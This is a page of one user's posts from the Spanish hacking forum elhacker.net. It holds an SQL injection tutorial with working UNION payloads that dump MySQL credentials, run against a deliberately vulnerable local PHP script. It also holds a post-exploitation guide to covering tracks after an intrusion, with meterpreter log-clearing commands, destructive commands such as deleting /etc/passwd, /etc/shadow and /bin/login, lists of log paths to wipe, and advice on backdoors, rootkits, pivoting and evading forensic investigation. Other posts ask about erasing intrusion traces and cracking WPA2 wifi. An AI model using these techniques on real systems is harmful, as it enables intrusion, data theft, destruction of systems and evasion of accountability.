elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 [8]
71  Seguridad Informática / Desafíos - Wargames / warzone prueba tu habilidad hacker :D en: 30 Diciembre 2013, 15:32 pm
http://www.hackertest.net/
probad tus habilidades como hacker y postea a que nivel llegas seguida de una screen shot
saludos  ::)
72  Seguridad Informática / Hacking / Guia de Inyecciones SQL. en: 30 Diciembre 2013, 14:58 pm
Introducción a los ataques SQL Injection
Deja un comentario

Para explicar las inyecciones SQL voy a presuponer que se tienen ciertos conocimientos de desarrollo de aplicaciones web utilizando un lenguaje del lado del servidor como PHP, así como el uso de SQL para realizar consultas a una base de datos MySQL. En primer lugar veremos una explicación teórica sobre los ataques SQL Injection. Después un ejemplo práctico de como aprovecharse de esta vulnerabilidad para extraer información de la base de datos y por último veremos como podemos proteger nuestras aplicaciones de este tipo de ataques.

Teoría sobre los ataques SQL Injection

Los ataques SQL Injection explotan una vulnerabilidad en la validación de las entradas a la base de datos de una aplicación. Una inyección SQL consiste en inyectar un código SQL invasor dentro de otro código SQL para alterar su funcionamiento normal haciendo que se ejecute el código invasor en la base de datos.

La mayoría de aplicaciones webs consisten en un conjunto de operaciones con la base de datos, por ejemplo, en un foro para crear nuevos comentarios se insertan registros en la base de datos y para listar las entradas se seleccionan registros en la base de datos. Estas operaciones reciben el nombre de CRUD (Create, Retrieve, Update y Delete). Las aplicaciones son un conjunto de módulos separados que interaccionan entre sí a través de los enlaces y los formularios. Por lo tanto es normal que el desarrollador enlace las distintas páginas utilizando variables que después utilizará para hacer las consultas pertinentes a la base de datos.

Vamos a ver un ejemplo teórico para que quede claro como funcionan la mayoría de las aplicaciones web. Imaginaros que entrais al índice principal de un foro donde podeís ver cada categoría. Si quereis ver las entradas de cierta categoría pulsareis sobre el enlace y os mostrará las primeras entradas paginadas.

La URL del enlace podría ser algo así (es ficticia, no entreis):

http://www.miforoinventado.com/viewforum.php?cat=3
Internamente el desarrollador realizará una consulta a la tabla de entradas y seleccionará aquellas cuya categoría tenga un id igual a tres. La consulta podría ser algo así:

$consulta = 'SELECT * FROM entrada
             WHERE entrada.id_categoria = '.$_GET['cat'].
            ' ORDER BY entrada.fecha ASC
             LIMIT 1,10';
Esta consulta es vulnerable a ataques SQL Injection. El desarrollador está presuponiendo que nadie va a alterar los datos de entrada de la variable cat y la utiliza en la consulta sin haber pasado antes algunos filtros para evitar las inyecciones SQL. Por lo que podemos decir que este tipo de vulnerabilidad está presente en aquellas consultas que confían en los datos de entrada del usuario y como ya hemos dicho muchísimas veces, una regla fundamental del desarrollo de aplicaciones web es nunca confiar en las entradas de los datos del usuario, ya que podrían verse alteradas, ya sea porque el usuario es un cracker que se quiere divertir o porque el gato del usuario se aburre y se ha puesto a caminar por encima del teclado.

Ejemplo práctico de ataque SQL Injection

Vamos a ver un ejemplo sencillo para practicar las inyecciones SQL. Antes de empezar con los ataques SQL Injection, nos preparamos un entorno seguro de pruebas:

1. Conectamos el servidor web Apache y el servidor MySQL.

2. Creamos una base de datos llamada inyeccion.

CREATE DATABASE inyeccion;

USE inyeccion;
3. Creamos una tabla usuario donde se almacenarán los nombres de usuario con las contraseñas de todos los usuarios que utilizen nuestra aplicación.

CREATE TABLE usuario
(
  id INT(15) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
  login VARCHAR(30) NOT NULL,
  password VARCHAR(50) NOT NULL,
  email VARCHAR(50) NOT NULL
);
4. Rellenamos la tabla con datos de prueba.

INSERT INTO usuario
VALUES (NULL, 'francisco', 'password_francisco', 'email_francisco'),
(NULL, 'jose', 'password_jose', 'email_jose'),
(NULL, 'julia', 'password_julia', 'email_julia'),
(NULL, 'estefania', 'password_estefania', 'email_estefania'),
(NULL, 'pablo', 'password_pablo', 'email_pablo');
5. Desarrollamos un script PHP de prueba para inyecciones. Algo sencillo, por ejemplo, un formulario de inicio de sesión que le pida al usuario su id y le muestre al usuario la información que la aplicación dispone de él, es decir, su id, su login y su email.

<html>
<head>
  <title>SQL Injection</title>
</head>
<body>

  <form action="inyecciones.php" method="get">
     <label for="id">ID: </label>
     <input type="text" id="id" name="id" />
     <input type="submit" value="Iniciar" />
  </form>

<?php
if( isset($_GET['id']) )
{
  $id    = $_GET['id'];

  $mysqli = new mysqli('localhost', 'root', '');

  $mysqli->select_db('inyeccion');

  $consulta = 'SELECT * FROM usuario WHERE id='.$id;

  echo $consulta.'<br />';

  $resultado = $mysqli->query($consulta);

  $usuario = $resultado->fetch_row();
  echo 'DATOS DEL USUARIO: <br />';
  echo 'ID: '.$usuario[0].'<br />';
  echo 'LOGIN: '.$usuario[1].'<br />';
  echo 'EMAIL: '.$usuario[3].'<br />';

  $resultado->free();

  $mysqli->close();
}
?>
</body>
</html>
Como nosotros hemos sido los que hemos desarrollado el código de prueba sabemos que la consulta es vulnerable a inyecciones SQL porque no filtra los datos de entrada. Lo normal es no disponer del código y realizar inyecciones a ciegas, lo que se conoce como Blind SQL Injection.

Antes de nada vamos a ver como funciona nuestro pequeño script accediendo a él desde el navegador:

Introducimos algunos datos de prueba:



Pulsamos el botón Iniciar y vemos que nos muestra de nuevo el formulario para seguir haciendo pruebas, la consulta que se ha ejecutado en el servidor MySQL y los datos que ha recuperado esa consulta, el id, el login y el email:



Fijaros atentamente en la barra de dirección del navegador que es desde donde vamos a realizar las inyecciones, en nuestro ejemplo también podríamos inyectar desde el formulario porque estamos utilizando el método GET de HTTP para pasar los datos al servidor.

http://localhost/pruebas/inyecciones.php?id=1
Comprobando si la aplicación es vulnerable a SQL Injection:
Para comprobar si la aplicación es vulnerable a SQL Injection lo normal es probar alguna inyección SQL básica para ver lo que sucede.

http://localhost/pruebas/inyecciones.php?id=1 and 1=1 --

SELECT * FROM usuario WHERE id=1 and 1=1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco
Como podemos observar hemos inyectado nuestro primer código SQL en la consulta y nada ha cambiado, sigue funcionando de la misma manera. Sino fuera porque mostramos la consulta que se ejecuta en el servidor todavía no sabríamos si la aplicación es vulnerable dado que sigue funcionando de la misma forma. Esto es así porque simplemente hemos añadido una condición a la selección que siempre se va a cumplir, puesto que uno es igual a uno. Los dos guiones se utilizan para comentar todo lo que venga después de la consulta.

Para comprobar si es vulnerable añadimos una condición que nunca se cumple y vemos que es lo que sucede.

http://localhost/pruebas/inyecciones.php?id=1 and 1=0 --

SELECT * FROM usuario WHERE id=1 and 1=0 --
DATOS DEL USUARIO:
ID:
LOGIN:
EMAIL:
¡EUREKA! Tenemos una aplicación vulnerable a SQL Injection, aunque ya lo sabíamos desde un principio. Vemos que al añadir una condición que nunca se va a cumplir, puesto que uno nunca va a ser igual a cero, la consulta no devuelve ningún registro y no muestra ningún dato por pantalla.

Extrayendo datos:
Ya sabemos que nuestra aplicación es vulnerable a las inyecciones SQL. En primer lugar vamos a extraer el número de columnas que tiene la tabla usuario. Para poder saber el número de columnas vamos a jugar con la opción ORDER BY de la sentencia SELECT. La cuestión es que si intentamos ordenar los registros que seleccionamos por un número mayor de las columnas que tengamos la consulta no devolverá ningún registro dado que se producirá un error fatal y se abortará la ejecución del script.

http://localhost/pruebas/inyecciones.php?id=1 order by 1 --

SELECT * FROM usuario WHERE id=1 order by 1 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 2 --

SELECT * FROM usuario WHERE id=1 order by 2 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 3 --

SELECT * FROM usuario WHERE id=1 order by 3 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 4 --

SELECT * FROM usuario WHERE id=1 order by 4 --
DATOS DEL USUARIO:
ID: 1
LOGIN: francisco
EMAIL: email_francisco

http://localhost/pruebas/inyecciones.php?id=1 order by 5 --

SELECT * FROM usuario WHERE id=1 order by 5 --

Fatal error: Call to a member function fetch_row() on a
non-object in C:\wamp\www\pruebas\inyecciones.php on line 28
Hemos descubierto que la tabla usuario (aunque nosotros no sabemos todavía que la tabla se llama usuario) tiene 4 columnas, puesto que con ORDER BY 5 se produce un error fatal. He activado la directiva display_errors en la configuración de PHP para que muestre los errores fatales que se producen.

Obteniendo información del servidor:
Antes de comenzar a extraer información del servidor MySQl tenemos que explicar la sentencia UNION para unir consultas. Nuestro script está programado para ejecutar las sentencias SQL de una en una, es decir, no podemos ejecutar múltiples sentencias a la vez, por eso nos valemos de la sentencia UNION que se encarga de unir los resultados de dos o más consultas. Solo hay un inconveniente, que todas las sentencias SELECT que unamos con UNION deben de utilizar el mismo número de columnas, por eso hemos extraído el número de columnas anteriormente.

http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT 1,2,3,4

SELECT * FROM usuario WHERE id=-1 UNION SELECT 1,2,3,4
DATOS DEL USUARIO:
ID: 1
LOGIN: 2
EMAIL: 4
Qué estamos haciendo? Hemos unido dos consultas, una que no devuelve ningún dato porque no existe ningún usuario con identificador negativo, y una consulta que devuelve un 1, un 2, un 3 y un 4. De esta forma vemos como se muestran los datos de la segunda consulta, en concreto, se muestra un 1, un 2 y un 4. Ahora podremos sustituir esos tres números en nuestra consulta para extraer información del servidor MySQL.

Podemos utilizar algunas funciones para extraer información:
- user(): Devuelve el usuario de la base de datos.
- version(): Devuelve la versión del servidor MySQL.
- database(): Devuelve el nombre de la base de datos actual.
- current_user(): Devuelve el nombre de usuario y el del host para el que está autenticada la conexión.
- last_insert_id(): Devuelve el último valor generado automáticamente que fue insertado en una columna AUTO_INCREMENT.
- connection_id(): Devuelve el ID de una conexion.

http://localhost/pruebas/inyecciones.php?id=-1 UNION  user(),database(),3,version()

SELECT * FROM usuario WHERE id=-1 UNION SELECT user(),database(),3,version()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: inyeccion
EMAIL: 5.1.36-community-log
Ya tenemos el usuario que estamos utilizando para acceder a la base de datos, y mira que suerte, es root, así que seguramente tengamos todos los privilegios asignados para hacer todo lo que queramos. También tenemos el nombre de la base de datos, inyeccion, y además la versión MySQL que estamos utilizando 5.1.36-community-log. Con todos estos datos ya podríamos empezar a hacer cosas interesantes, pero no va de eso este artículo.

Sigamos extrayendo informacion.

http://localhost/pruebas/inyecciones.php?id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()

SELECT * FROM usuario WHERE id=-1 UNION SELECT current_user(),last_insert_id(),3,connection_id()
DATOS DEL USUARIO:
ID: root@localhost
LOGIN: 0
EMAIL: 44
Lo normal cuando encontramos una vulnerabilidad de este estilo es extraer un usuario y una contraseña para acceder remotamente al servidor y ya desde un entorno más sencillo, como una línea de comandos, obtener toda la información que queramos.

MySQL cuenta con una base de datos interna llamada mysql. Dentro de esta base de datos almacena los usuarios y las contraseñas en una tabla llamada users. Por lo tanto podemos obtener esta información inyectando una sentencia SQL:

http://localhost/pruebas/inyecciones.php?id=-1 UNION select host, user, 3, password from mysql.user

SELECT * FROM usuario WHERE id=-1 UNION select host, user, 3, password from mysql.user
DATOS DEL USUARIO:
ID: localhost
LOGIN: root
EMAIL:
Vemos que el usuario es root, el servidor está en localhost dado que está en mi ordenador, pero aquí obtendríais la dirección ip o el nombre de dominio donde estuviera alojado el servidor, y por último que no tiene contraseña. ¡VAYA SEGURIDAD! Si tuviera contraseña os daría un hash que tendrías que crackear utilizando por ejemplo el John The Ripper.

Ahora podemos conectarnos recomtamente en el puerto 3306 que es el que suele usar MySQL por defecto y obtener todos los datos que queramos. Si no podemos acceder remotamente desde la línea de comandos podemos seguir extrayendo información mediante inyecciones haciendo uso de las tablas mysql e information_schema.

Protegiendo nuestras aplicaciones de ataques SQL Injection:

Este tipo de vulnerabilidades son muy peligrosas y hay que aprender a protegerse de ellas. Hay muchos trucos para ponérselo más difícil a los atacantes. Una de las mejores soluciones es utilizar la función mysql_real_escape_string() que se encarga de escapar los caracteres especiales utilizados en las consultas SQL, o utilizar el método real_escape_string() si utilizamos la versión orientada a objetos.

Podemos utilizar este método para escapar los strings que se pasen a las consultas SQL pero si utilizamos datos numéricos en vez de cadenas podemos comprobar que el dato de entrada es un número entero o es un número decimal, ya sea mediante las funciones is_int() o is_float() o realizando castings (int), (float).

Vamos a ver un ejemplo de consulta SQL que no es vulnerable a inyecciones SQL:

$consulta= 'SELECT *
FROM categoria
WHERE id_categoria=\''.(int)$_GET['id'].'\'';

$consulta= 'SELECT *
FROM categoria
WHERE titulo=\''.mysql_real_escape_string($_GET['titulo']).'\';
De esta forma protegemos nuestras aplicaciones de todo tipo de inyecciones SQL.

RESUMEN:

EN este artículo hemos visto que peligroso puede ser este tipo de vulnerabilidades en nuestras aplicaciones ya que mediante inyecciones SQL pueden obtener todos los datos que quieran de nuestra base de datos, incluso de ficheros alojados en el servidor. Hemos practicado un poco con un ejemplo muy sencillo. Podéis seguir practicando con el mismo ejemplo y extraer todos los datos que querais de las tablas mysql e information_schema, desde el nombre de todas las tablas de la base de datos, nombres de las columnas, registros de las tablas, etc.

espero les sirva de ayuda: Att: Nightcode ::)
73  Seguridad Informática / Hacking / Pregunta Sobre maquina virtual en: 30 Diciembre 2013, 13:04 pm
Saludos amigos hacker del foro hacker. no se bien como formular esta pregunta pero lo intentare. quiero probar diferentes ataques utilizando una maquina virtual de pruebas para no causar ningun daño y asi aprender un poco mas y aumentar el conocimiento ya que la practica hace al maestro (hacker). lo que quiero preguntar en si es
1) cual es la mejor maquina virtual para esto? y la mas sencilla de usar?
2) a la hora de instalarla solo la instalo ejecuto el windows virtual que voy a vulnerar ya sea 7 xp o el mas basico.
3)  como pregunta final el programa para realizar ataque ejemplo metasploit lo instalo e my windows original (no virtual) y de hay realizo los ataques a la maquina virtual? cierto?
gracias espero sus respuestas y ayudas :) por favor  :D
74  Seguridad Informática / Hacking / Guia de Post explotacion (borrado de huellas digitales) en: 28 Diciembre 2013, 14:31 pm
aquí dejo mi guia de como borrar huellas digitales luego de una Induccion  a un sistema operativo ya sea con backtrack o con otro programa:

Tras realizar un acceso no deseado a un equipo con Windows y tras garantizarnos próximos acceso a dicho sistema, la idea es dejar el mínimo rastro posible. Esta es una de las tareas más importantes en la post-explotación, la ocultación. Windows guarda una especie de log's o registros del sistema para poder saber qué es lo que está pasando, así que una de las formas más sencillas de poder ocultar el acceso, es lógicamente borrarlos. Por suerte, metasploit en meterpreter trae consigo un par de componentes que ayudan a realizar esta tarea. El primero es el uso del modo incógnito, que lo que hace es intentar ocultar todo lo posible todas aquellas tareas que se hagan en el sistema, así como la presencia de un "no deseado" en el mismo.
meterpreter> load incognito
Otra de las formas que hay es borrar los registros que hemos mencionado. Esto es lo mejor que se puede realizar justo antes de abandonar el equipo, para borrar rastro creado en los mismos. Se borrará todo el contenido de los registros.
meterpreter> clearev
  • Wiping 88 records from Application...
  • Wiping 136 records from System...
  • Wiping 0 records from Security...





   Una vez hemos conseguido penetrar en un sistema, la serie de actividades que se deben realizar son vitales para evitar ser descubiertos y garantizar futuros accesos a la maquina comprometida, aunque no hay una metodología estándar para este tipo de actividades, existen un conjunto de pasos que son ampliamente aceptados dada su importancia en el proceso de post-explotacion de un sistema.
1. Entendimiento de la víctima (Information Gathering):
El primer paso que se debe realizar una vez explotada una vulnerabilidad, consiste en recolectar la mayor cantidad de información posible sobre el sistema objetivo, de esta forma podemos determinar estrategias y planes de acción que servirán de insumo a los pasos subsecuentes.
Algunos tópicos de interés sobre el sistema objetivo pueden ser:
•   Sistema Operativo del Objetivo y el nivel de parche aplicado
•   Características de Hardware del objetivo y determinar si se encuentra ejecutandose sobre una maquina virtual o no.
•   Listado de Usuarios registrados en el sistema y cuales se encuentran logueados actualmente.
•   Listado de Procesos en Ejecución
•   Programas instalados en la maquina objetivo y frecuencia de uso
•   Tiempo de Actividad/Inactividad del Sistema objetivo.
•   Dependiendo del sistema operativo instalado en el objetivo, verificación de ficheros de configuración en busca de posibles vulnerabilidades para seguir explotando.
•   Listado de variables de entorno en el sistema objetivo.
•   Obtención de los hashes correspondientes a los passwords de los usuarios del sistema objetivo.
•   Determinar si se tiene acceso a otras maquinas en el segmento de red y si existen directorios compartidos.
•   Encontrar software de Seguridad instalado en la máquina y ficheros de log del sistema
2. Escalación de Privilegios (Privilege Escalation)
Frecuentemente, nos encontramos que una vez comprometido un sistema, no tenemos un usuario con los permisos suficientes para desarrollar determinadas actividades sobre el sistema objetivo, en estos casos, se hace necesario realizar un procedimiento de escalacion de privilegios para obtener de este modo una cuenta de usuario con todos los privilegios habilitados sobre el sistema, así tendremos muchas mas facilidades a la hora de tratar la maquina comprometida como pivote para comprometer otra maquina en el segmento de red y finalmente comprometer la red completa.
3. Borrar Logs y matar procesos de software de monitoreo
Este punto, es quizás el mas importante debido que puede perjudicar nuestro acceso y ponernos al descubierto, cualquier tipo de rastro que se deje en una maquina objetivo puede ser posteriormente utilizado en un análisis forense y con esto cerrar definitivamente nuestras alternativas de acceso a la maquina comprometida, en muchos casos también conlleva a acciones legales que evidentemente serán indeseables.
Por otro lado, también existe la posibilidad (muy probable) que la maquina objetivo tenga instalado algún tipo de software dedicado a la seguridad e integridad del sistema, en muchos casos este será nuestro principal problema a la hora de ejecutar determinadas acciones sobre el sistema remoto, por esta razón es indispensable dedicar tiempo y energía en investigar el sistema y los posibles sistemas de monitoreo instalados en el objetivo detectar el software instalado y sus correspondientes versiones
4. Recolectar información, Ejecutar programas en la víctima, etc.
Llegados a este punto, es importante obtener información mas detallada sobre la víctima y ejecutar programas en el objetivo que puedan alterar variables del registro del sistema operativo o alguna utilidad que nos permita crackear información cifrada como ficheros de passwords, etc. Este paso nos permitirá acceder a cierta información que puede resultar invaluable para permitirnos el acceso a la maquina comprometida en cualquier momento y seguramente, nos permitirá optimizar este proceso sin ser detectados por los sistemas de seguridad instalados en la maquina objetivo.
5. Establecer puertas Traseras, Rootkits
Finalmente, el ultimo punto para tener completamente a nuestra disposicion una maquina remota, es establecer puertas traseras y rootkits, con el fin de garantizar nuestro acceso en el caso de ser descubiertos por la maquina remota de esta forma, aunque nos cierren una ruta de entrada, tendremos a nuestra disposición otros mecanismos que nos permitirán acceder a la maquina objetivo nuevamente y realizar cualquier tipo de acción.
6. Usar la víctima como pivote para hackear otras maquinas en la red
Una vez tenemos a nuestra disposición una maquina en un segmento de red, podremos hacer uso de dicha maquina para comprometer alguna otra a la que se pueda acceder desde la maquina comprometida, los beneficios de utilizar una maquina intermedia que nos sirva para penetrar en otras maquinas conectadas a está dependen de los objetivos planteados en el proceso de pre-explotacion y sobre la información que deseamos obtener.
Es frecuente penetrar en una red determinada por medio de las maquinas mas vulnerables con el único objetivo de comprometer una determinada maquina que nos interese y a la cual no tenemos acceso (por ejemplo maquinas en una intranet o red privada), ya sea por la información que disponga o por cualquier otra razón, en cualquier caso, es importante limpiar siempre los rastros de nuestras acciones con el objetivo de no ser vinculados posteriormente con la explotación de una(s) determinada(s) vulnerabilidad(es)

2 Eliminar Rastro y Huellas Post-Exploitation


________________________________________

Existen tantos tipos de huellas, como tipos de ataques realizados.

Lo primero que hay que tener en cuenta, es qué hicimos, y como nos pueden cojer.

Para entrar a robar a una casa, puede tirarse la puerta a patadas, utilizar una palanca (Fuerza Bruta), Ganzuas... En el primer caso hay que recomponer la puerta, en el seguro repararla, en el tercero, deshacerse de las ganzuas.
Esto no implica que no queden otros rastros.

Existen muchos tipos de herramientas, backdoors, sniffers para capturar datos, logs de acceso de Apache u otros servicios (daemons)...

Muchos "Hackers" se limitan a eliminar los access_logs del apache, destruir webshells y backdoors, y root exploit's (Lo cual olvidé en mi último relato, por lo que supieron de la actividad, aunque no conocen su autor), y la cosa no es así.

Si creamos un usuario, no bastaría con eliminar la cuenta... ¿Cómo creaste el usuario? ¿Mediante comandos?

El fin de esta guía no es realizar el ataque perfecto, sino más bien una orientación.
Existen multitud de herramientas, tales como Zappers que afirman eliminar todo rastro... Cuando esto no es así.

Daremos un repaso por los medios más utilizados.


A) Destrucción del sistema
A-1) Esto ocurre cuando la evidencia es tal, que no queda otro remedio.

La forma más común, almenos en mi caso, seria inhabilitar el login, y causar un tal destrozo que el único medio sea la destrucción total o parcial. He aquí algunos comandos de interés:
rm /etc/passwd
rm /etc/shadow
rm /bin/login
rm /bin/rm
rm /etc/inetd.conf
killall login


B) Capturando y eliminando los access log de Apache.
B-1) Esta opción solo es viable si únicamente realizaste un ataque a nivel Web, por ejemplo, una Webshell

Los directorios más comunes son:
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
etc/httpd/logs/acces_log
etc/httpd/logs/acces.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
var/log/apache/access_log
var/log/apache2/access_log
var/log/apache/access.log
var/log/apache2/access.log
var/log/access_log
var/log/access.log
var/www/logs/error_log
var/www/logs/error.log
usr/local/apache/logs/error_log
usr/local/apache/logs/error.log
var/log/apache/error_log
var/log/apache2/error_log
var/log/apache/error.log
var/log/apache2/error.log
var/log/error_log
var/log/error.log
var/log/access_log
var/log/access_log

Se puede eliminar con RM, o editar, pero para asegurarse de no dejar nada mal, hacer uso de Tee.


C) Eliminar el Bash History
C-1) Si, es algo lógico, que mucha gente olvida...
C-2) Es tan sencillo como editar y/o eliminar el .bash_history o .sh_history
C-3) Recordar: Esto se hace JUSTO ANTES de salir.


D) Eliminar todo rastro de exploits, webshells, sniffers, ...
D-1) Como comenté, me descubrieron por dejar un Root Exploit. No saben quien fue, pero ahí supongo que seguirá.

E) Tener cuidado con los cambios en el sistema
E-1) Este paso es vital. Si hiciste un cambio y te agarran, será peor que si solo realizaste la intrusión, dependiendo del pais en el que residas.


F) Cuidado con los Backdoors
F-1) Durante un corto tiempo puede pasar inadvertido, durante más, puede ser descubierto... Más vale prevenir que curar.


G) Eliminar toda cuenta realizada, sobre todo si tiene permisos de Root
G-1) No basta con eliminar los permisos de shell (/sh/false)


H) Cuidado: Si hay alguien más logeado al sistema, puede ser muy peligroso.
H-1) Pueden capturarte fácilmente, además de rastrearte sin el más minimo problema.


I) Desconfia de todos. El anonimato implica el silencio absoluto, discreción, y seguridad. Jamás digas "Ataqué X servidor", si hay necesidad, "Ataqué un servidor". Fuera del sistema, si eres buscado, no dudes que te espiarán.
I-1) No existe proxy seguro, solo muy faciles, faciles, complejos, y extremadamente complejos. Pero no seguros.


J) Cuidado con el syslog.
J-1) En ocasiones puede ser más complejo de lo habitual deshacerse de cambios realizados en el.


K) Comandos de interés:
- Who: Lista usuarios activos.
- last: Último inicio de sesión de usuario.
- ps: Procesos activos.
- lastcom / hostory: Comandos realizados. Véase apartado C.


L) Ficheros peligrosos:
- utmp: Guarda un registro (log) de los usuarios que están utilizando el sistema mientras estan conectados al sistema. Directorios: /var/adm/utmp y /etc/utmp
- wtmp: Guarda un log cada vez que un usuario se introduce en el sistema o sale del sistema.
- lastlog: Guarda un log del momento exacto en que un usuario entro por ultima vez.
- acct o pacct: Registra todos los comandos ejecutados por cada usuario (aunque no registra los argumentos con que dichos comandos fueron ejecutados).

Espero les sirva de ayuda. Att: Nightcode ::)
75  Seguridad Informática / Hacking / Pregunta Penetración en un sistema Post Explotación en: 28 Diciembre 2013, 13:54 pm
Feliz navidad :D. la siguiente pregunta es para que me ayudeis a aclarar unas cosas. Digamos que Penetramos en un sistema con windows Xp o windows 7 utilizando metasploit framework, telnet, o el mismisimo backtrack ya sea por fines divertidos o de obtener información vital. Tras realizar un acceso no deseado a un equipo con Windows y tras garantizarnos próximos acceso a dicho sistema, la idea es dejar el mínimo rastro posible. Esta es una de las tareas más importantes en la post-explotación, la ocultación. Windows guarda una especie de log's o registros del sistema para poder saber qué es lo que está pasando tengo entendido, como se lograria borrar todas esas huellas digitales? hay alguna forma fácil de hacerlo y eliminar todo rastro? para evitar nos descubran a través de un análisis forense informático? y otra pregunta podría la victima tener algun software de monitoreo? y detectar mi presencia como evitarlo? gracias de antemano a todos espero sus respuestas =) :D
76  Seguridad Informática / Wireless en Windows / Como recuperar contraseñas de tu router wifi: en: 28 Diciembre 2013, 13:24 pm
para los que olvidaron sus contraseñas del router la forma basica de recuperarlas son:

Opción 1: Recuperar la clave del router desde el navegador

En Firefox, ve a Opciones > Seguridad > Contraseñas guardadas y busca la dirección de tu router. Después, pulsa Mostrar contraseñas para ver cuál tienes guardada.

Contraseñas de Firefox

En Google Chrome, ve a Opciones > Mostrar opciones avanzadas y haz clic en Administrar contraseñas guardadas. Escribe la IP de tu router en el buscador y después pulsa Mostrar para ver la contraseña guardada.

Contraseñas en Chrome

Internet Explorer no te permite ver las contraseñas guardadas por sí mismo. En su lugar puedes usar IE Pass view, un sencillo programa portable.

IE Pass View

Opción 2: Con RouterPassView

NirSoft, los mismos creadores de IE PassView, tienen otro programa que se especializa en recuperar claves de routers, se llama RouterPassView.

RouterPassView te da dos formas de obtener la contraseña: tomándola desde la ventana de Internet Explorer (si está guardada) o extrayéndola de un archivo de configuración del router. Por ello, requiere que hayas hecho una copia de seguridad de la configuración de tu router y la mantengas en tu PC.

RouterPassView

RouterPassView funciona descifrando las claves guardadas en estos archivos de configuración, y a veces falla. La lista de routers compatibles está disponible en su página web.

Opción 3: Con las contraseñas predefinidas

No es un secreto que la mayoría de los routers se acceden con el usuario y contraseña "admin": los fabricantes no tienen demasiada imaginación.

¿Pero cuál es el usuario y la contraseña por defecto de tu router? Normalmente lo pone en el manual de usuario, pero si eres incapaz de encontrarla, hay páginas como RouterPasswords que recopilan usuarios y contraseñas para todo tipo de modelos.

RouterPasswords

También encontrarás una lista de usuarios y contraseñas en la página web de Simple Port Forwarding: un programa para abrir puertos en el router fácilmente del que ya te hablamos hace tiempo.



El problema es si cambiaste la contraseña. En tal caso, los routers suelen tener un botón de reset que devuelve su configuración a los valores de fábrica, pero consulta antes de hacerlo con tu proveedor de Internet: podría desconfigurarte Internet también.
77  Seguridad Informática / Wireless en Windows / Acrilic wifi: en: 28 Diciembre 2013, 13:15 pm
un cordial saludo a toda la comunidad de elhacker.net el siguiente post es referente al hackeo de redes wifi con seguridad wpa2-psk: eh tratado de utilizar el acrylic wifi en conjunto con un capturador de paquetes como Network monitor la cosa esta en que al configurar intento captar los paquetes y todo perfecto pero a la hora de descifrar las claves no logro decodificar las contraseñas pasan 3 y 4 horas y nada de nada es mas solo parece que capturara datos solamente. soy nuevo con lo de hackear redes wifi lo hago solo por aprender algo mas no quiero ingresar a ellas solo decodificar. sera que habra algun programa mejor que me puedas recomendar ademas del aircrack :S o sera que tarda tanto porque las contraseñas con ese tipo de seguridad cambian cada cierto tiempo automaticamente? de antemano feliz navidad a todos  ;-)
Páginas: 1 2 3 4 5 6 7 [8]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines